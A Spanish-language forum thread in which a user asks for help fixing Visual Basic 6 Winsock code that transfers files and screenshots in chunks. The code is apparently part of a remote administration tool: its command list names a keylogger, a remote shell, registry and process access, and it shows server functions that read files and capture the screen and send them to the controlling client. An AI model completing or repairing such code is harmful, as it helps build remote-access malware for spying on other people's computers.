Chicos, necesito ayuda para transferir un archivo a tra vez de winsock he aqui el codigo :
Cliente :
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
WS(Index).GetData Datos
If String(Len(Datos), Chr(0)) <> "" Then tDatos = tDatos & Datos
If InStr(1, tDatos, "/S/") Then
Data = Split(tDatos, "|")
tDatos = ""
Select Case Data(1)
Case "Conexion": Call vConexion(Index)
Case "Informacion": Call vInformation
Case "Procesos": Call vProcess
Case "ActualizarP": Call vAProcess
Case "sServicios": Call vServices
Case "ActualizarS": Call vAServices
Case "Conexiones": Call vConexiones
Case "ActualizarA": Call vAAdaptadores
Case "ObtenerWebs": Call vOWebs
Case "TcpUdp": Call vTcpUdp
Case "Keylogger": Call vKeylogger
Case "Shell": Call vShell
Case "RefrescarWnd": Call vRWind
Case "Chat": Call vChat
Case "lstDrivers": Call vlDrivers
Case "lstFiles": Call vlFiles
Case "ErrorServidor": Call vEServer
Case "sRegistro": Call vRegistro
Case "Keylogger": Call vKeylogger
Case "dwnFile": Call dwnFile
End Select
End If
End Sub
Public Function dwnFile()
Dim aBuff As String
Dim Archivo As String
FF = FreeFile
Archivo = Data(3)
If Dir(App.Path & "\Descargas", vbDirectory) = "" Then MkDir (App.Path & "\Descargas")
Open App.Path & "\Descargas\" & Archivo For Binary As FF
aBuff = Space(LOF(FF))
Get FF, , aBuff
Close FF
Open App.Path & "\Descargas\" & Archivo For Binary As FF
Put FF, , aBuff + Data(2)
Close FF
For i = 1 To TotalVentanas
For z = 1 To frmMain.LV.ListItems.Count
With frmFunciones(i)
If .Caption = Data(4) Then
MsgBox "Se ha descargado el archivo correctamente!", vbInformation, frmFunciones(i).Caption
End If
End With
Next z
Next i
End Function
Servidor :
Public Function dwFile()
On Error GoTo Err
Dim aBuff As String
Dim xBuff As String
Dim cPacks As String
frmEspecifico = Data(3)
FF = FreeFile
Open Data(2) For Binary As FF
aBuff = Space(LOF(FF))
Get FF, , aBuff
Close FF
cPacks = CInt(Len(aBuff) / 8192) '8192
If InStr(1, cPacks, ",") Then If Split(cPacks, ",")(1) > 0 Then cPacks = Split(cPacks, ",")(0) + 1
If Len(aBuff) > 8192 And cPacks > 0 Then
For i = 0 To cPacks
If i > 0 Then xBuff = Mid(aBuff, (i * 8192) - 1, Len(aBuff)) Else xBuff = Mid(aBuff, 1, Len(aBuff))
If frmMain.WS.State = 7 Then frmMain.WS.SendData "/S/|dwnFile|" & xBuff & "|" & Split(Data(2), "\")(UBound(Split(Data(2), "\"))) & "|" & frmEspecifico
Next i
End If
Err: If Err.Number > 0 Then frmMain.WS.SendData "|ErrorServidor|" & Err.Number & "|"
End Function
En la linea del cliente Archivo = Data(3) me sale contenido del archivo en vez de salirme el nombre del archivo como la mando desde el servidor, ya probe con diferentes delimitadores para ver si era los simples "|" pero no ..
Alguien me puede poner un ejemplo sencillo sobre como hacer una descarga y una subida de archivos?.. o que ven mal en el code?
Un saludo! si hace falta mas codigo lo pongo.
Alguien que me ayude con el envio de archivos de mas de X bytes?..
Necesito un ejemplo, quien se anima?..
Un saludo!
MOD EDIT: No hacer doble post.
Como idea, podrias depurar y ver que devuelve el split que estas haciendo en WS_DataArrival.
De ahi puedes sacar conclusiones...
Saludos!
Cita de: MCKSys Argentina en 17 Marzo 2016, 18:59 PM
Como idea, podrias depurar y ver que devuelve el split que estas haciendo en WS_DataArrival.
De ahi puedes sacar conclusiones...
Saludos!
Por ejemplo con el envio de imagenes por la captura de pantalla..
/S/|CapturarPantalla|BM6 < 6 ........... CONTENIdO dE LA IMAGEN ...... y lo siguientes delimitadores desaparecen
eso es lo que recibo en el cliente despues de tomar la captura y enviarla desde el servidor.
MODIFICADO :
Alguien que se anime a hacer una funcion de partir el archivo por partes?.. cliente servidor. Venga yo se que a leandro o alguno de ustedes Pro en VB no les cuesta nada hacerlo en un momentito, lo encesito urgente para terminar un proyecto que vengo haciendo desde años pasados!.
Saludos!
Perdon por el doble post pero para no crear un tema nuevo, he aqui la cuestion estoy haciendo la captura de escritorio remoto, en el emulador de VB6 los datos se envian muy bien y completos (a veces) pero el problema viene cuando creo el archivo servicio en binario sin usar el depurador de vb.. la captura se crea bien en la carpeta temporal pero no me llega bien al cliente..
SERVIDOR :
Public Function Capturar_Pantalla()
On Error Resume Next
Dim i_Buff As String * 8024
Dim f_Name As String
Dim Largo As Long
Dim i_Todo As String
nCaptura = nCaptura + 1
FF = FreeFile
Clipboard.Clear
frmEspecifico = Split(Data(2), "/S/")(0)
f_Name = nCaptura
Set frmMain.pScreenShot.Picture = CaptureScreen()
If frmMain.pScreenShot.Picture <> 0 Then
SavePictureAsJPG frmMain.pScreenShot, Environ$("Temp") & "\" & f_Name & ".jpg", 85
DoEvents
Open Environ$("Temp") & "\" & f_Name & ".jpg" For Binary As FF
Do While Not EOF(FF)
DoEvents
Get FF, , i_Buff
Largo = LOF(FF)
eDatos = "/S/|CapturarPantalla|" & i_Buff & "|$--$|" & f_Name & "|$--$|" & Largo & "|$--$|" & frmEspecifico & "|$--$|"
Call sDatos(eDatos)
Loop
Close FF
'Kill Environ$("Temp") & "\" & f_Name & ".jpg"
End If
End Function
CLIENTE :
Public Function Capturar_Pantalla()
'On Error Resume Next
Dim fData() As String
Dim f_Name As String
Dim f_Len As Long
Dim uIP As String
Dim uName As String
FF = FreeFile
fData = Split(Replace$(Datos, "/S/|CapturarPantalla|", ""), "|$--$|")
Archivo = Archivo + fData(0)
f_Name = fData(1) & ".jpg"
f_Len = fData(2)
frmEspecifico = fData(3)
uIP = Split(frmEspecifico, "/")(1)
uName = Replace(Split(frmEspecifico, " Administrando a ")(1), "/" & uIP, "")
Create_Folders (uName)
If Len(Archivo) >= f_Len Then
For i = 1 To TotalVentanas
For z = 1 To frmMain.LV.ListItems.Count
With frmFunciones(i)
If .Caption = frmEspecifico Then
.PBScreen.Value = 60
Open App.Path & "\Usuarios\" & uName & "\" & f_Name For Binary As FF
Put FF, , Archivo
Close FF
Archivo = ""
frmFunciones(i).picScreen = Nothing
frmFunciones(i).picScreen = LoadPicture(App.Path & "\Usuarios\" & uName & "\" & f_Name)
frmFunciones(i).picScreen.ScaleMode = 3
frmFunciones(i).picScreen.AutoRedraw = True
frmFunciones(i).picScreen.PaintPicture frmFunciones(i).picScreen.Picture, 0, 0, frmFunciones(i).picScreen.ScaleWidth, frmFunciones(i).picScreen.ScaleHeight
If .cGuardarCaptura.Value = 0 Then Kill App.Path & "\Usuarios\" & uName & "\" & f_Name
.PBScreen.Value = 100
End If
End With
Next z
Next i
End If
End Function
El envio de datos esta dentro de un loop porque la verdad no se otra forma de partir el archivo y recoger los datos.
A veces los datos del array fdata() se me mezclan con el contenido de la imagen pero me parece raro porque en el vb6 va bien.
Una imagen (http://subefotos.com/ver/?ca983dccdd3f61646e57f10f9f2be806o.png)
Un saludo y espero una respuesta!